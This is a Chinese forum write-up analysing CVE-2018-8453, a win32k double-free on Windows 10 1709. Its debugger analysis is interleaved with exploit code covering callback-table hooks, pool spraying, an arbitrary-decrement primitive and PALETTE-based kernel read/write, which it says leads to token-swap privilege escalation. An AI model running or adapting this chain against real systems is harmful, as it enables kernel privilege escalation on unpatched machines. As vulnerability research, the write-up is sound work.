cve-2018-8453 win32k漏洞分析笔记
2020-07-18 12:02:07 Author: bbs.pediy.com(查看原文) 阅读量:504 收藏

目录

CVE-2018-8453是一种UAF类型的漏洞,漏洞产生的原因是win32kfull!NtUserSetWindowFNID函数在对窗口对象设置FNID时没有检查窗口对象是否已经被释放,导致可以对一个已经被释放了的窗口设置一个新的FNID。通过利用win32kfull!NtUserSetWindowFNID的这一缺陷,可以控制窗口对象销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数,从而可以在win32kfull!xxxSBTrackInit中实现对pSBTrack的Double Free。

poc和exp都来自晏子霜师傅的博客,因为师傅的poc和利用并不是同一平台,我会在文末放上我自己修改的同一版本的poc和exp。

[+] win10 x64 1709
[+] windbg preview 1.0.2001.02001

图片描述

首先,我们将poc放入虚拟机中并运行,触发崩溃之后转到windbg中。先查看漏洞成因

图片描述

程序试图释放一块已经释放了的pool,说明这是一个经典的Double Free漏洞。看一下这个pool的属性

图片描述

这是一个0x80大小的session pool,划重点,这里后面要用到的。接着看一下调用关系

图片描述
静态分析可知,win32kbase!Win32FreePool和win32kfull!Win32FreePoolImpl都是传递参数的工具人,将win32kfull!xxxSBTrackInit传入的参数传递给nt!ExFreePoolWithTag函数,所以我们还需要接着分析win32kfull!xxxSBTrackInit函数。

win32kfull!xxxSBTrackInit函数实现滚动条的鼠标跟随,当用户在一个滚动条按下左键(左键也是重点,后面会用)时,系统就会产生一个SBTrack结构保存用户鼠标的当前位置;用户松开鼠标时,系统会释放SBTrack结构。具体细节我们可以通过 Windows 2000 的源码来深入了解:

pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL)
    return;

pSBTrack->hTimerSB = 0;
pSBTrack->fHitOld = FALSE;

pSBTrack->xxxpfnSB = xxxTrackBox;

pSBTrack->spwndTrack = NULL;
pSBTrack->spwndSB = NULL;
pSBTrack->spwndSBNotify = NULL;
Lock(&pSBTrack->spwndTrack, pwnd);
PWNDTOPSBTRACK(pwnd) = pSBTrack;

pSBTrack->fCtlSB = (!curArea);pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL)
    return;

win32kfull!xxxSBTrackInit函数首先通过UserAllocPoolWithQuota函数申请一块内存来保存SBTrack的结构,将其保存在指针pSBTrack中,之后对SBTrack结构进行了一些初始化。

xxxSBTrackLoop(pwnd, lParam, pSBCalc);
while (ptiCurrent->pq->spwndCapture == pwnd) {
        if (!xxxGetMessage(&msg, NULL, 0, 0)) {
            // Note: after xxx, pSBTrack may no longer be valid
            break;
        }

        if (!_CallMsgFilter(&msg, MSGF_SCROLLBAR)) {
            cmd = msg.message;

            if (msg.hwnd == HWq(pwnd) && ((cmd >= WM_MOUSEFIRST && cmd <=
                    WM_MOUSELAST) || (cmd >= WM_KEYFIRST &&
                    cmd <= WM_KEYLAST))) {
                cmd = SystoChar(cmd, msg.lParam);

                // After xxxWindowEvent, xxxpfnSB, xxxTranslateMessage or
                // xxxDispatchMessage, re-evaluate pSBTrack.
                REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");
                if ((pSBTrack == NULL) || (NULL == (xxxpfnSB = pSBTrack->xxxpfnSB)))
                    // mode cancelled -- exit track loop
                    return;

                (*xxxpfnSB)(pwnd, cmd, msg.wParam, msg.lParam, pSBCalc);
            } else {
                xxxTranslateMessage(&msg, 0);
                xxxDispatchMessage(&msg);
            }
        }
    }

接着调用xxxSBTrackLoop函数来循环处理用户的消息,该函数循环获取消息、判断消息、分发消息。当用户放开鼠标时,xxxSBTrackLoop停止追踪消息,退出之后释放pSBTrack指向的内存。

// After xxx, re-evaluate pSBTrack
REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");

if (pSBTrack) {
    Unlock(&pSBTrack->spwndSBNotify);
    Unlock(&pSBTrack->spwndSB);
    Unlock(&pSBTrack->spwndTrack);
    UserFreePool(pSBTrack);
    PWNDTOPSBTRACK(pwnd) = NULL;
}

xxxSBTrackLoop循环结束之后解引用了几个窗口的引用,然后释放掉pSBTrack指向的内存。

按理来说这里是不会报错的,以上这些操作都是正常流程,但double free的错误提示说明在pSBTrack被win32kfull!xxxSBTrackInit释放之前已经被偷偷释放过一次了,在哪里我们不得而知,先尝试下一个内存访问断点。

ba r8 ffff8d3dc1d2e9c0

图片描述

断了几次都在申请内存的时候,最终,我们可以断在nt!ExFreePoolWithTag函数,该函数正打算释放pSTBrack,看起来和第二次释放没什么区别,但看一下堆栈就发现问题所在了。

图片描述

这次释放发生在win32kbase!Win32FreePool释放pSBTrack之前,就是这次本不该发生的释放导致了Double Free的发生。先看最上面标记出来的代码,这次是一个xxxEndScrell函数调用了Win32FreePool,该函数源码如下

void xxxEndScroll(
    PWND pwnd,
    BOOL fCancel)
{
    UINT oldcmd;
    PSBTRACK pSBTrack;
    CheckLock(pwnd);
    UserAssert(!IsWinEventNotifyDeferred());

    pSBTrack = PWNDTOPSBTRACK(pwnd);
    if (pSBTrack && PtiCurrent()->pq->spwndCapture == pwnd && pSBTrack->xxxpfnSB != NULL) {

        (省略部分内容)

        pSBTrack->xxxpfnSB = NULL;

        /*
         * Unlock structure members so they are no longer holding down windows.
         */
        Unlock(&pSBTrack->spwndSB);
        Unlock(&pSBTrack->spwndSBNotify);
        Unlock(&pSBTrack->spwndTrack);
        UserFreePool(pSBTrack);
        PWNDTOPSBTRACK(pwnd) = NULL;
    }
}

只要我们能够通过if的判断,那么就能成功释放pSBTrack。因为程序是单线程,所以创建的窗口都是用的原来的SBTrack,自然而然的,pSBTrack和pSBTrack->xxxpfnSB != NULL都可以通过。至于PtiCurrent()->pq->spwndCapture == pwnd可以通过调用SetCapture函数来直接设置。

xxxEndScroll函数的作用我们已经知道了,接着继续循着调用路径追溯

void xxxDWP_DoCancelMode(
    PWND pwnd)
{
    (省略)

    if (pwndCapture == pwnd) {
        PSBTRACK pSBTrack = PWNDTOPSBTRACK(pwnd);
        if (pSBTrack && (pSBTrack->xxxpfnSB != NULL))
            xxxEndScroll(pwnd, TRUE);
    (省略)

继续往上追溯就到了win32kfull!xxxRealDefWindowProc。我们可以在对应的源码处看到一些有用的信息,如下

LRESULT xxxDefWindowProc(
    PWND pwnd,
    UINT message,
    WPARAM wParam,
    LPARAM lParam)
{
    (省略)
    case WM_CANCELMODE:
        {
            /*
             * Terminate any modes the system might
             * be in, such as scrollbar tracking, menu mode,
             * button capture, etc.
             */
            xxxDWP_DoCancelMode(pwnd);
        }
        break;
    (省略)

如果xxxDefWindowProc函数收到了WM_CANCELMODE,就可以去执行xxxEndScroll来释放SBTrack结构。

至此,我们对这个漏洞已经有一个初步认识了,大概有以下情报

[+] 漏洞的成因是程序对一个0x80大小的session poll进行了两次释放
[+] 第一次释放发生在poc的fnDWORDHook中,通过调用xxxEndScroll函数来实现
[+] 第二次释放发生在xxxSBTrackInit函数,当xxxSBTrackLoop函数结束时会释放pSBTrack

创建窗口

UINT CreateWindows(VOID) {

    HINSTANCE hInstance;
    WNDCLASS wndclass = { 0 };

    {

        hInstance = GetModuleHandleA(0);
        wndclass.style = CS_HREDRAW | CS_VREDRAW;
        wndclass.lpfnWndProc = DefWindowProc;
        wndclass.hInstance = hInstance;
        wndclass.cbClsExtra = 0x00;
        wndclass.cbWndExtra = 0x08;
        wndclass.lpszClassName = "case";

        if (!RegisterClassA(&wndclass)) {
            cout << "RegisterClass Error!" << endl;
            return 1;
        }
    }
    Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);

    if (!Window) {
        cout << "Create Window Error!" << endl;
        return 1;
    }

    //保存句柄在扩展内存中
    SetWindowLongA(Window, 0, (ULONG)Window);

    //WS_CHILD |

    SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL);
    cout << "Window:0x" << hex << Window << endl;
    cout << "SrollBar:0x" << hex << SrollBar << endl;

}

注册窗口类并产生一个主窗口,以主窗口为父窗口再创建一个滚动条子控件。只注意两个地方就可以了,wndclass.cbWndExtra = 0x08子窗口属性设置为WS_CHILD,后面分析的时候会讲原因。

回调函数Hook

//Windows10 1709 X64
VOID Hook_Init(VOID) {

    DWORD OldType = 0;

    ULONG64 KernelCallbackTable = *(ULONG64*)(PEB + 0x58);

    VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType);

    //fnDWORD
    fnDword = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x02);

    *(ULONG64*)(KernelCallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;

    //xxxClientAllocWindowClassExtraBytes

    xxxClientAllocWindowClassExtraBytes = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x7E);
    //0x80
    *(ULONG64*)(KernelCallbackTable + 0x08 * 0x7E) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook;
}

首先获得KernelCallbackTable的地址,至于为什么是PEB+0x58,可以通过在windbg下dt _PEB @$peb查看。VirtualProtect函数更改KernelCallbackTable表为可读可写可执行,这样我们可以直接通过赋值来修改其中的函数地址,这里我们修改了fnDWORDxxxClientAllocWindowClassExtraBytes

这两段代码是触发崩溃之前很重要的准备工作,但是有好多东西不明不白,你可能有以下问题

[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes?
[+] 为什么要设置wndclass.cbWndExtra = 0x08?
[+] 为什么要滚动条必须设置为WS_CHILD?

这些问题都会在接下来的触发过程分析中得到解答。

触发过程分析

{
    //Hook
    Hook_Init();
    Flag = 1;

    //debug
    DebugBreak();

    //向滚动条发送点击消息
    SendMessageA(SrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008);
}

在执行完Hook_Init函数之后,我们的准备工作已经基本完成了。首先向滚动条发送WM_LBUTTONDOWN消息,滚动条会调用xxxSBTrack函数来实现滚动条的鼠标跟随并且用SBTrack来保存鼠标位置,之后会调用xxxSBTrackLoop循环获取鼠标消息。xxxSBTrackLoop循环会调用fnDWORD回调函数来回到R3,如果我们hook fnDWORD的话,就可以在xxxSBRrackInit函数执行期间进行一些额外的操作,这就是为什么hook fnDWORD的原因。额外操作具体如下

VOID fnDWORDHook(PMSG MSG) {

    if (Flag) {
        Flag = 0;
        DestroyWindow(Window);
    }

    if (*((PULONG64)MSG + 1) == 0x70) {
        cout << "SendMessage" << endl;

        SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);
    }
    fnDword(MSG);

}

因为其他地方也可能会调用fnDWORD回调函数,所以我们通过if和fnDword(MSG)来维持hook之后的fnDWORD依然能正常运行。先看第一个if,通过Flag的值判断是否进入,这里我们调用DestroyWindow(Window)来释放父窗口。在windows 2000的源码中简单跟进了一下,我们得知DestroyWindow函数调用xxxDestroyWindow函数,xxxDestroyWindow又去调用xxxFreeWindow函数。在xxxFreeWindow函数中,我们观察一下cbWndExtra相关的内容

图片描述

首先判断是否存在窗口扩展结构,如果存在的话则调用xxxClientFreeWindowClassExtraBytes函数释放窗口扩展空间,这就是为什么我们要设置wndclass.cbWndExtra = 0x08的原因。接着我们查看一下该函数的实现

图片描述

这里调用了用户模式回调函数,是peb->KernelCallbackTable)[126]所在的地址,该处正好就是我们hook的

xxxClientAllocWindowClassExtraBytes。所以我们前面特地设置wndclass.cbWndExtra = 0x08和hook了xxxClientAllocWindowClassExtraBytes都是为了进入这个函数,然后调用我们的hook函数。

VOID xxxClientAllocWindowClassExtraBytesHook(PVOID MSG) {

    if ((*(HWND*)*(HWND*)MSG) == Window) {
        cout << "xxxClientAllocWindowClassExtraBytes" << endl;
        //为什么要创建新滚动条控件呢,因为子滚动条控件的父窗口被释放后,无法获取到滚动条的内核地址了
        New_SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);
        NtUserSetWindowFNID(Window, 0x2A1);
        SetCapture(New_SrollBar);
    }

    xxxClientAllocWindowClassExtraBytes(MSG);
}

在CreateWindows函数中,我们用SetWindowLongA(Window, 0, (ULONG)Window)将句柄保存在了扩展内存之中,现在利用句柄判断是否为父窗口调用了xxxClientAllocWindowClassExtraBytesHook函数。在if中,我们修改了FNID的值,看起来有点迷惑,为什么要设置这些似乎不相关的东西?我们需要回顾一下xxxSBTrackInit中的内容

if (pSBTrack) {
    Unlock(&pSBTrack->spwndSBNotify);
    Unlock(&pSBTrack->spwndSB);
    Unlock(&pSBTrack->spwndTrack);
    UserFreePool(pSBTrack);
    PWNDTOPSBTRACK(pwnd) = NULL;
}

在xxxSBLoop结束后,会对spwndSBNotify和主窗口的引用进行解引用。虽然父窗口已经被释放了,但子窗口还对父窗口有引用,所以相关的pool并没有被释放,但由于这是最后一个引用,HMAssignmentUnlock函数清除赋值锁的过程会减小对象的锁计数,在锁计数减小为0时调用HMUnlockObjectInternal销毁对象,销毁时调用win32k!ghati对应表项的销毁例程,并最终调用win32kfull!xxxDestroyWindow对窗口对象进行释放,这就是我们需要定义滚动条子控件的原因。

兜兜转转我们又回到了win32kfull!xxxDestroyWindow函数,刚刚已经分析过了,xxxDestroyWindow调用xxxFreeWindow来释放窗口,而FNID为释放窗口的Flag属性,我们把FNID修改为了0x2A1,正好可以通过下图的验证

图片描述

过了验证之后我们会再一次调用fnDWORDHook函数并发送0x70的Message,回顾一下我们的fnDWORDHook

VOID fnDWORDHook(PMSG MSG) {

    if (Flag) {
        Flag = 0;
        DestroyWindow(Window);
    }

    if (*((PULONG64)MSG + 1) == 0x70) {
        cout << "SendMessage" << endl;

        SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);
    }
    fnDword(MSG);

}

第二个if终于排上了用场,他负责发送一个WM_CANCELMODE消息。在分析BSOD的时候,我们已经分析了xxxEndScroll函数触发的条件,正好就是WM_CANCELMODE消息,这样一来,我们的pSBTrack就会被释放,接着再被win32kfull!SBTrackInit中的Win32FreePool释放,从而造成Double Free。

至此,我们刚刚提出的几个问题也全都解决了:

[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes?
答:我们可以通过SBTrackloop和xxxFreeWindow调用这两个回调函数,hook之后可以有两次返回r3进行操作的机会。
[+] 为什么要设置wndclass.cbWndExtra = 0x08?
答:为了回调xxxClientAllocWindowClassExtraBytes。
[+] 为什么要滚动条必须设置为WS_CHILD?
答:为了引用父窗口,这样才不会在DestroyWindow的时候被直接释放。

触发流程示意图

图片描述

HMAssignmentUnlock的利用姿势

前面我们已经分析过了,在xxxSBTrackLoop循环结束之后,HMAssignmentUnlock函数对spwndSB(父窗口)解引用的时候会调用win32kfull!xxxDestroyWindow并最终释放SBTrack结构。

if (pSBTrack) {
    Unlock(&pSBTrack->spwndSBNotify);
    Unlock(&pSBTrack->spwndSB);            // 对主窗口解引用
    Unlock(&pSBTrack->spwndTrack);        // tagSBTrack解引用
    UserFreePool(pSBTrack);
    PWNDTOPSBTRACK(pwnd) = NULL;
}

注意Unlock(&pSBTrack->spwndTrack);,在解引用tagSBTrack之前,tagSBTrack结构已经被释放了,如果我们堆喷射很多个0x80大小的session来重引用tagSBTrack。

    UCHAR MenuNames[0x100] = { 0 }, ClassName[0x50] = { 0 };

    memset(MenuNames, 0x43, 0x80 - 0x20);

    *(ULONG64*)((ULONG64)MenuNames + 0x10) = To_Where_A_Palette;
    *(ULONG64*)((ULONG64)MenuNames + 0x08) = To_Where_A_Palette;

    while (I < 0x1000) {

        sprintf((char*)ClassName, "WindowUaf%d", I);

        hInstance = GetModuleHandleA(0);
        wndclass.style = CS_HREDRAW | CS_VREDRAW;
        wndclass.lpfnWndProc = DefWindowProc;
        wndclass.hInstance = hInstance;
        wndclass.lpszMenuName = (LPCWSTR)MenuNames;
        wndclass.lpszClassName = (LPCWSTR)ClassName;

        if (!RegisterClassW(&wndclass)) {
            cout << "RegisterClass Error!" << endl;
            return 1;
        }

我们分配了0x1000个TagCls结构,其中保存着指向lpszMenuName结构的指针,该结构作为0x80的session pool 正好复用tagSBTrack的内存,只要修改MenuNames的内容就可以执行HMAssignmentUnlock(任意值)了。

任意地址-1

HMAssignmentUnlock(任意值)看起来好像作用不大,我们先看看HMAssignmentUnlock函数内部实现

图片描述

既然我们已经获得了HMAssignmentUnlock(任意值),就等于是控制了rcx,函数内部对[[rcx]+8]减一,也就是我们已经获得了任意地址-1。

泄露PALETTE地址

    memset(MenuNames, 0x43, 0x1000 - 10);

    {

        hInstance = GetModuleHandleA(0);
        wndclass.style = CS_HREDRAW | CS_VREDRAW;
        wndclass.lpfnWndProc = DefWindowProc;
        wndclass.hInstance = hInstance;
        wndclass.lpszMenuName = (LPCWSTR)MenuNames;
        wndclass.lpszClassName = L"LEAKWS";

        if (!RegisterClassW(&wndclass)) {
            cout << "RegisterClass Error!" << endl;
            return 1;
        }
    }

PALETTE调色板在Win10 1709没有开启Type ISOLaTion,而且同样是session pool,我们可以考虑修改该结构来达到任意地址读写。先通过MenuName创建一个0x1000的pool,这是为了取得lpszMenuName的地址,通过它我们可以得到PALETTE的地址。

    //创建窗口在用户映射桌面堆的位置
    PTagWnd = (ULONG64)HMValidateHandle(hwnd, 0x01);

    UlClientDelta = (ULONG64)((*(ULONG64*)(PTagWnd + 0x20)) - (ULONG64)PTagWnd);

    TagCls = (*(ULONG64*)(PTagWnd + 0xa8)) - UlClientDelta;

接着调用HMValidateHandle()函数获取tagWND的用户态桌面堆的地址,又因为tagWND结构中保存了自己在内核堆中的地址,我们可以获得一个相对偏移,通过这个偏移我们可以获取任意结构在内核桌面堆中的地址,又因为tagWND中保存着tagCLS的地址,我们可以算出tagCLS在用户态桌面堆的地址。有了tagCLS我们就可以在0x98的偏移地址找到MenuName,也就可以找到PALETTE的地址了。然后释放MenuName,这样内存就会被释放为Free状态,后面讲为什么要释放。

    DestroyWindow(hwnd);

    return *(ULONG64*)(TagCls + 0x98);

任意地址读写

现在我们有了目标地址,也有了任意地址-1,已经可以进行一些操作了。虽然靠这个任意地址-1为所欲为是不太可能,但是他可以帮我们构造攻击链,是的,忙活这么半天还只是在进行准备工作,具体攻击链如图所示

img

PALETTE中的cEntries为该结构的读写范围,pFirstColor是指向调色板项的指针,如果我们能扩大cEntries的范围,就能对pFirstColor进行读写,修改pFirstColor的值,然后就可以调用PALETTE相关的函数对内核数据进行任意读写了。

VOID GetPalette_Address(VOID) {

    ULONG64 A_Palette_Address = NULL, B_Palette_Address = NULL;

    Palette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));

    memset(Palette, 0x42, sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));

    Palette->palVersion = 0x0300;
    Palette->palNumEntries = 0x1D5;

    A_Palette_Address = GetMenuAddress();

    cout << "A_Palette_Address:0x" << hex << A_Palette_Address << endl;

    To_Where_A_Palette = A_Palette_Address + 0x2D - 8;

    //内存缩紧
    for (UINT I = 0; I < 0x1500; ++I) {
        CreatePalette(Palette);
    }

    UnregisterClassW(L"LEAKWS", GetModuleHandleA(0));

    Where_PALETTE = CreatePalette(Palette);

    What_PALETTE = CreatePalette(Palette);

    cout << "Where_PALETTE:0x" << hex << Where_PALETTE << endl;

    cout << "What_PALETTE:0x" << hex << What_PALETTE << endl;

}

我们设置的cEntries的值为0x1d5,这会分配一个0x800大小的kernel pool,如果分配两个的话就会重新引用刚刚释放的0x1000内存,这样的话,修改cEntries造成OOB之后就可以对*pFirstColoe进行任意读写了。

HMAssignmentUnlock执行两次之后,cEntries的值已经被修改成了0xFFFFFFd5,足够我们进行操作了,通过 SetPaletteEntries() 以及 GetPaletteEntries() 函数即可在Ring3来任意内存读写,提权倒是很轻松了,修改Token就行了。

收尾工作

虽然刚刚的操作很是成功,但是BSOD还是会依旧触发,因为我们通过lpszMenuName引用了pSBTrack,在xxxSBTrack函数结束的时候依然会触发DoubleFree。我们需要在UAF_80函数中将所有的IpszMenyNames都保存了起来,利用任意读写将保存lpszMenuName 的结构赋值为0,这样就不会有对pSBTrack的错误释放,而是会在xxxSBTrack的正常流程中仅仅释放一次。

VOID FMenuName(VOID) {
    ULONG64 Zero = 0;
    UCHAR Menu[0x20] = { 0 };

    for (UINT I = 0; I < 0x1000; ++I) {
        if (TagCls_Menu_Address[I] == 0) {
            continue;
        }
        *(ULONG64*)Menu = TagCls_Menu_Address[I];

        SetPaletteEntries(Where_PALETTE, 0x1DE + 0x1E, 2, (LPPALETTEENTRY)&Menu);

        SetPaletteEntries(What_PALETTE, 0, 2, (LPPALETTEENTRY)&Zero);
    }
}

至此,我们成功解决了Double Free和提权,大功告成了!

图片描述

http://www.whsgwl.net/
https://www.anquanke.com/post/id/97498
https://bbs.pediy.com/thread-249021.htm

有没有志同道合的小伙伴一起交流交流呢?一起聊聊技术吹吹牛,还可以一起找实习什么的?qq:447491995

[赠书活动] 《云计算安全》和《云存储安全实践》上线!老师留下通讯地址,即可获得赠书一套!送100套,送完为止!

最后于 2天前 被0x2l编辑 ,原因: 修改

上传的附件:
  • poc.cpp (3.47kb,1次下载)
  • exp.cpp (14.59kb,3次下载)
  • Asm.asm (0.19kb,1次下载)

文章来源: https://bbs.pediy.com/thread-260710.htm
如有侵权请联系:admin#unsafe.sh